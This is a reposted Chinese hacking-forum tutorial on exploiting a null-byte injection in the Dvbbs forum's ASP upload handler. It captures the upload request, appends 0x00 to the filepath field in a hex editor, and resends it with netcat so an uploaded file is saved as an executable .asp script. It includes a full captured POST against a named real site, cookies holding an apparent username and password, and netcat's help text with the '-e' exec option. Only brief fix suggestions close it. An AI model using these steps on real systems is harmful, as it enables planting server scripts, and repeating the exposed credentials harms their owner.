• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    asp 之上传漏洞终结篇
    收藏关于上传漏洞的文章,最近一直遇到这个麻烦,
    作者:szjwwwww     
    出自:黑鹰基地论坛
    http://www.3800cc.com
    一、写在前面
    ***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本***
    NC(Netcat)
    用于提交 数据包
    DOS界面下运行:
       NC -vv www.***.com 801.txt
       -vv: 回显
       80:  www端口
       1.txt: 就是你要发送的数据包
      (更多使用方法请查看本区的帖子) 
    WSE(WSockExpert)
       对本机端口的监视,抓取IE提交的数据包
      (不会用的就自己到网上搜资料N多)
    二、漏洞原理
    下面例子假设的前提
    www主机:  www.***.com;
    bbs路径 :  /bbs/
    漏洞源于对动网上传文件的研究,建议有一定编程经验的
    看看Dvbbs的upfile.asp文件,没有必要全部看懂
    upfile是通过生成一个form表上传,
    用到的变量:
    filepath 默认值uploadface 属性hiden
    act      默认值upload     属性hiden
    file1    就是你要传的那个文件
    关键是 filepath 这个变量!
    默认情况下我们的文件上传到www.***.com/bbs/uploadface/
    文件是用你的上传时间命名的,就是upfile里的这一句
    FileName=FormPathyear(now)month(now)day(now)hour(now)minute(now)second(now)ranNum"."FileExt
    -------------------------------------------------------------------------
    我们知道计算机里面的数据是一"\0"为标致的用过C语言的都知道
    char data[]="bbs"
    这个data数组长度是4: b b s \0
    如果我们构造filepath如下,会怎么样呢?
    filepath="/newmm.asp\0"
    我们在2004.09.24.08.24传的文件就会发生变化
    没有改时:
    http://www.***.com/bbs/uploadface/200409240824.jpg
    用我们构造的filepath时:
    http://www.***.com/newmm.asp\0/200409240824.jpg
    这样当服务器接收filepath数据时,检测到newmm.asp后面的\0
    就理解为filepath的数据就结束了
    这样我们上传的文件,比如c:\1.asp
    就保存成: http://www.***.com/newmm.asp
    三、后期补充
    漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行
    有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个
    上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。
    而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具 
    自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。
    就算他加N个hiden变量也于事无补。
    当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结
    就是我们的新理论诞生的时候!
    四、漏洞列表
    http://dvd.3800cc.com/dispbbs.asp?BoardID=20ID=5369
    http://dvd.3800cc.com/dispbbs.asp?BoardID=20ID=5530
    http://dvd.3800cc.com/dispbbs.asp?BoardID=20ID=5531
    http://dvd.3800cc.com/dispbbs.asp?BoardID=20ID=5693
    http://dvd.3800cc.com/dispbbs.asp?BoardID=20ID=5731
    http://dvd.3800cc.com/dispbbs.asp?BoardID=20ID=5746
    监听外部主机
            NC [-options] hostname port[s] [ports] ...
    监听本地主机
            NC -l -p port [options] [hostname] [port]
    options:
            -d              detach from console, stealth mode
            -e prog         inbound program to exec [dangerous!!]
            -g gateway      source-routing hop point[s], up to 8
            -G num          source-routing pointer: 4, 8, 12, ...
            -h              this cruft
            -i secs         delay interval for lines sent, ports scanned
            -l              listen mode, for inbound connects
            -L              listen harder, re-listen on socket close
            -n              numeric-only IP addresses, no DNS
            -o file         hex dump of traffic
            -p port         local port number
            -r              randomize local and remote ports
            -s addr         local source address
            -t              answer TELNET negotiation
            -u              UDP mode
            -v              verbose [use twice to be more verbose]
            -w secs         timeout for connects and final net reads
            -z              zero-I/O mode [used for scanning]
    port numbers can be individual  or ranges: m-n [inclusive]
    详细实例:
    ---------------------------------------------------------------------------------
    一、WSE抓包结果(存到1.txt里):
    POST /bbs/upPhoto/upfile.asp HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
    Referer: http://www.xin126.com/bbs/upPhoto/upload.asp
    Accept-Language: zh-cn
    Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
    Host: www.xin126.com
    Content-Length: 1969
    Connection: Keep-Alive
    Cache-Control: no-cache
    Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84
    -----------------------------7d423a138d0278
    Content-Disposition: form-data; name="filepath"
    ../medias/myPhoto/
    -----------------------------7d423a138d0278
    ... ...
    上传
    -----------------------------7d423a138d0278--
    ---------------------------------------------------------------------------------
    二、UltraEdit打开1.txt改数据:
    ......
    -----------------------------7d423a138d0278
    Content-Disposition: form-data; name="filepath"
    /newmm.asp█                 ===这个黑色代表一个空格是 0x20,改成0x00就可以了
    ......
    三、重新计算cookies长度,然后nc提交
    Nc -vv www.xin126.com 80 1.txt
    UltraEdit是一个16位编辑器网上可以下载得到
    我们主要用来写那个结束标致: \0 ====>16位表示:0x00或者00H
    其实你改的时候就直接再filepath的结尾 
    处加个00就OK了
    计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了
    ......
    Host: www.xin126.com
    Content-Length: 1969  ======就是这个
    Connection: Keep-Alive
    Cache-Control: no-cache
    ......
    计算会吧?一个字母、数字就是1
    对于上传漏洞提出的解决思路:(仅供参考)
    1、一般的上传是把上传路径作为一个变量来处理
    ===>我们的对策就是把filepath变成常量。。。
    这个方法是目前最有效的(我认为的) 
    2、加强对于\0的处理,原来我们是读到这里就结束
    我们继续读直道下一个变量开始的地方,处理就OK了
    上一篇:ASP 环境下 VBS 事件应用 示例代码
    下一篇:asp中一段防SQL注入的通用脚本
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    asp 之上传漏洞终结篇 asp,之,上传,漏洞,终结,篇,